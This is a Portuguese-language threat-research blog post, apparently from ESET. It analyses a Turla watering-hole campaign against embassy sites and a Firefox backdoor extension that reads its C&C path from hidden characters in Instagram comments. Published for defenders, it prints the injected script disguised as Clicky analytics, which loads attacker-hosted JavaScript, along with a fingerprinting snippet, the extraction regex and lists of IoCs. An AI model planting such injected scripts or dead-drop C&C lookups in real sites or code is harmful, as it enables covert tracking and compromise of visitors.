Campanha Watering Hole do Turla: extensão para Firefox se aproveita do Instagram

Algumas das táticas utilizadas nos ataques de ameaças persistentes avançadas (APT) se recusam a desaparecer. Um bom exemplo são as campanhas Watering Hole do grupo Turla. Esse grupo malicioso, cujos alvos de ataques durante anos têm sido os governos, funcionários governamentais e diplomatas (veja este recente paper), continua usando as técnicas Watering Hole para redirecionar as vítimas que consideram potencialmente interessantes para a sua infraestrutura de servidores de Comando e Controle (C&C). Na verdade, eles usam as essas técnicas desde pelo menos 2014, com poucas variações no seu modus operandi.

Em um ataque Watering Hole, são afetados os sites que possuem mais probabilidade de serem visitados pelos objetivos de interesse. Aparentemente, os operadores do Turla estão interessados em infectar sites de embaixadas. De fato, em um post do Forcepoint de fevereiro de 2017, foram destacados alguns dos sites mais comprometidos recentemente.

Naturalmente, estamos monitorando de perto a evolução dessas campanhas e recentemente percebemos que os seus operadores estão reutilizando uma técnica que não vemos há vários meses.

Infecção inicial

Na seção de indicadores de sistemas comprometidos ao final deste artigo, figura uma lista de sites que foram utilizados pelo Turla no passado ​​para redirecionar para os seus servidores Watering Hole de C&C. Como é habitual nesse grupo, muitos dos sites comprometidos possuem uma relação direta com diversas embaixadas de todo o mundo.

Os visitantes dos sites são redirecionados para um servidor malicioso por meio de um fragmento de código inserido pelo atacante na página original. Os scripts que encontramos nos últimos meses foram todos semelhantes a este:

<!– Clicky Web Analytics (start) –>

<script type=”text/javascript”>// <![CDATA[

var clicky_site_ids = clicky_site_ids || [];

clicky_site_ids.push(100673048);

(function() {

var s = document.createElement(‘script’);

var a = ‘http://www.mentalhealthcheck.net/’;

var b = ‘update/counter.js’;

s.type = ‘text/javascript’; s.async = true;

s.src = ‘//static.getclicky.com/js’; s.src = a.concat(b);

( document.getElementsByTagName(‘head’)[0] || document.getElementsByTagName(‘body’)[0]).appendChild(s);

})();

// ]]></script>

Os atacantes adicionaram uma referência ao Clicky, uma estrutura de análise web em tempo real. Eles adicionaram esse nome na tentativa de legitimar o script anexado contra um olhar superficial ou não especializado, embora não seja realmente usado durante o ataque. Podemos ver aqui que esse script injetado chama outro script em mentalhealthcheck.net/update/conter.js. Esse é um servidor que o grupo Turla tem usado para enviar scripts de fingerprinting para vítimas de seu interesse (esses scripts coletam informações sobre o sistema no qual está sendo executado).

Durante um tempo, Turla esteve incluindo uma referência enganosa a um suposto script do Google Analytics com a mesma finalidade, mas agora percebemos que a referência ao Clicky é usada com mais frequência. Na seção de indicadores de sistemas comprometidos, figura a lista de servidores Watering Hole de C&C que encontramos nos últimos dois meses. Todos eles são servidores legítimos comprometidos.

O próximo passo no ataque é distribuir uma impressão digital do JavaScript para os alvos de seu interesse. Para fazer isso, o servidor do C&C filtra os visitantes usando um intervalo IP. Se estiverem dentro do intervalo de IP direcionado, receberão o script de fingerprinting. Caso contrário, apenas recebem um script benigno: uma implementação JS do algoritmo de hash MD5.

Abaixo, mostramos um trecho do script descriptografado que as vítimas recebem vindos de um intervalo de endereços IP alvo:

function cb_custom() {

loadScript(“http://www.mentalhealthcheck.net/script/pde.js”, cb_custom1);

}

 

function cb_custom1() {

PluginDetect.getVersion(‘.’);

 

myResults[‘Java’]=PluginDetect.getVersion(‘Java’);

myResults[‘Flash’]=PluginDetect.getVersion(‘Flash’);

myResults[‘Shockwave’]=PluginDetect.getVersion(‘Shockwave’);

myResults[‘AdobeReader’]=PluginDetect.getVersion(‘AdobeReader’) || PluginDetect.getVersion(‘PDFReader’);

 

var ec = new evercookie();

ec.get(‘thread’, getCookie)

Esse javascript irá baixar uma biblioteca JS chamada PluginDetect que tem a capacidade de coletar informações sobre os plugins instalados no navegador. As informações coletadas são enviadas para o servidor do C&C.

Também tentará instalar um evercookie, ou uma supercookie, que acompanhará o usuário ao longo de sua navegação, em todos os sites da Internet.

Para aqueles familiarizados com as técnicas de Watering Hole desse grupo, é claro que ainda continuam usando os seus antigos métodos que são publicamente conhecidos.

Extensão para Firefox

Através do nosso monitoramento dessas campanhas Watering Hole, descobrimos uma amostra muito interessante. Alguns de vocês podem se lembrar do relatório Pacifier APT da BitDefender, onde foi descrita uma campanha de phishing direcionado na qual se enviava um documento malicioso da Microsoft Word para várias instituições em todo o mundo. Logo em seguida, esses documentos maliciosos instalavam um backdoor. Agora sabemos o artigo descrevia um Skipper, ou seja, um backdoor de primeira etapa usado pelo grupo criminoso Turla.

Esse relatório também continha uma descrição de uma extensão para Firefox instalada pelo mesmo tipo de documento malicioso. No entanto, descobrimos o que provavelmente é uma atualização dessa extensão do Firefox. É um backdoor de JavaScript, que, embora seja diferente do que é descrito no artigo Pacifier APT em sua implementação, apresenta funcionalidades semelhantes.

Turla

Percebemos que essa extensão foi distribuída através de um site comprometido de uma empresa de segurança suíça. O site pedia para que os visitantes instalassem essa extensão maliciosa. A extensão é um backdoor simples, mas que utiliza uma técnica interessante para obter o seu domínio de C&C.

O uso do Instagram

A extensão usa uma URL bit.ly para alcançar o seu servidor do C&C, mas o caminho da URL não pode ser encontrado em nenhuma parte do código. Na verdade, para obter a rota utiliza os comentários que aparecem em uma publicação específica do Instagram. O comentário utilizado na mostra analisada era sobre uma foto publicada na conta oficial do Instagram de Britney Spears.

©https://www.instagram.com/p/BO8gU41A45g/

A extensão busca o comentário de cada foto e calcula um valor de hash personalizado. Se o hash coincide com 183, então executará essa expressão regular no comentário para obter o caminho para a URL bit.ly:

(?: \\ u200d (?: # | @) (\\ w)

Ao observar os comentários da foto, apenas o hash de um corresponde a 183. Essse comentário foi publicado em 6 de fevereiro, enquanto a foto original foi postada no início de janeiro. Ao executar o comentário aplicando a expressão regular, obteremos a seguinte URL:

Http://bit.ly/2kdhuHX

Se observarmos um pouco mais de perto a expressão regular, vemos que está procurando o @|# ou o caractere \ 200d do Unicode. Esse caractere é na realidade um caractere não imprimível chamado ‘Zero Width Joiner’, normalmente utilizado para separar emojis. Colando o comentário real ou olhando sua fonte, você pode ver que esse caractere precede cada caractere que faz o caminho de acesso da URL bit.ly:

Smith2155 <200d> # 2hot ma <200d> ke lovei <200d> d a <200d> ela, <200d> uupss <200d> #Hot <200d> #X

Ao resolver este link encurtado, somos levados a static.travelclothes.org/dolR_1ert.php, que no passado foi usado como servidor Watering Hole do C&C.

Como é o caso de todos os links bit.ly, é possível obter estatísticas sobre quem clicou no link.

Turla

Como visto acima, foram registrados apenas 17 cliques em fevereiro, exatamente na data de publicação do comentário. No entanto, esse é um número bastante baixo e pode indicar que foi apenas um teste.

Análise técnica

Essa extensão para Firefox implementa um backdoor simples. Em primeiro lugar, coleta informações sobre o sistema no qual está sendo executado e as envia para o servidor do C&C, criptografado com AES. Isso é muito semelhante ao que faz a extensão descrita no whitepaper Pacifier APT.

O componente backdoor tem a capacidade de executar quatro diferentes tipos de comandos:

  • Executar arquivo arbitrário
  • Carregar um arquivo para o servidor do C&C
  • Baixar um arquivo a partir do servidor do C&C
  • Ler o conteúdo do diretório: envia uma listagem de arquivos, detalhando o seu tamanho e data, para o servidor do C&C

Embora acreditemos que essa versão da extensão apenas seja um tipo de teste, é provável que a próxima versão (se houver alguma) seja muito diferente. A extensão utiliza várias Interface de programação de aplicações (APIs) que irão desaparecendo em versões futuras do Firefox. Por exemplo, utiliza XPCOM para copiar arquivos no disco e sdk/system/child_process para iniciar um processo. Essas APIs só podem ser utilizadas pelos complementos que serão substituídos pelos WebExtensions no Firefox 57 e versões posteriores. A partir dessa versão, o Firefox já não carregará complementos, o que impedirá o uso dessas APIs.

Conclusão

O fato de que os autores do Turla estejam usando as redes sociais como forma para obter o endereço dos servidores de C&C é bastante interessante. Esse comportamento já foi observado no passado por outros grupos maliciosos, como os Dukes. Essa tática dificulta muito o trabalho dos defensores da segurança. Em primeiro lugar, é difícil distinguir o tráfego malicioso do tráfego nas redes sociais. Em segundo lugar, dá aos atacantes mais flexibilidade quando se trata de mudar o endereço do servidor do C&C, bem como apagar todos os traços dele. Também é interessante notar que eles estão reciclando uma forma antiga de conseguir a impressão digital das vítimas, e que estão implementando novas estratégias para que a recuperação do endereço do C&C seja um pouco mais difícil.

Para qualquer dúvida ou para fazer envios de amostras relacionadas com esse assunto, entre em contato conosco pelo email threatintel@eset.com.

Agradecimentos

Gostaríamos de agradecer ao Clement Lecigne do grupo Threat Analysis do Google por sua ajuda na pesquisa dessa campanha.

Indicadores de sistemas comprometidos (IoCs)

Hash da extensão para Firefox

Nome do ArquivoSHA-1
html5.xpi5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi8e6c9e4582d18dd75162bcbc63e933db344c5680

Sites comprometidos que redirecionam para servidores de fingerprinting

Até o momento de produção desse artigo, todos esses sites foram desinfetados ou estão apontando para servidores de fingerprinting inativos.

URLDescrição
hxxp://www.namibianembassyusa.orgEmbaixada da Namíbia; Estados Unidos
hxxp://www.avsa.orgAfrican Violet Society of America
hxxp://www.zambiaembassy.orgEmbaixada da Zâmbia; Estados Unidos
hxxp://russianembassy.orgEmbaixada da Rússia; Estados Unidos
hxxp://au.intUnião Africana
hxxp://mfa.gov.kgMinistério de Relações Exteriores; Quirguistão
hxxp://mfa.uzMinistério de Relações Exteriores; Uzbequistão
hxxp://www.adesyd.esADESyD (Associação Espanhola de Graduados em Segurança e Defesa)
hxxp://www.bewusstkaufen.atPortal de consumo sustentável na Áustria
hxxp://www.cifga.esLaboratório da Cifga, que trabalha para o desenvolvimento de padrões de toxinas marinhas
hxxp://www.jse.orgJuventudes Socialistas da Espanha (JSE)
hxxp://www.embassyofindonesia.orgEmbaixada da Indonésia; Estados Unidos
hxxp://www.mischendorf.atPovo da Mischendorf; Áustria
hxxp://www.vfreiheitliche.atPartido Político de Bregenz, Áustria
hxxp://www.xeneticafontao.comFontao Genetics S.A., fundada em 1998, é responsável pela gestão do Centro de Seleção e Reprodução Animal da raça Rubia Gallega de vacas Holstein
hxxp://iraqiembassy.usEmbaixada iraquiana; Estados Unidos
hxxp://sai.gov.uaGestão de Segurança Rodoviária (Ucrânia)
hxxp://www.mfa.gov.mdMinistério de Relações Exteriores; Moldova
hxxp://mkk.gov.kgServiço de Pessoal da Estatal; Quirguistão

Sites comprometidos utilizados como servidores de C&C na primeira etapa das campanhas Watering Hole

  • hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
  • hxxp://www.mentalhealthcheck.net/script/pde.js
  • hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
  • hxxp://rss.nbcpost.com/news/today/content.php
  • hxxp://static.travelclothes.org/main.js
  • hxxp://msgcollection.com/templates/nivoslider/loading.php
  • hxxp://versal.media/?atis=509
  • hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
  • hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
  • hxxp://alessandrosl.com/core/modules/mailer/mailer.php

Imagem: ©David Robson/Flickr

Autor Jean-Ian Boutin, ESET

Siga-nos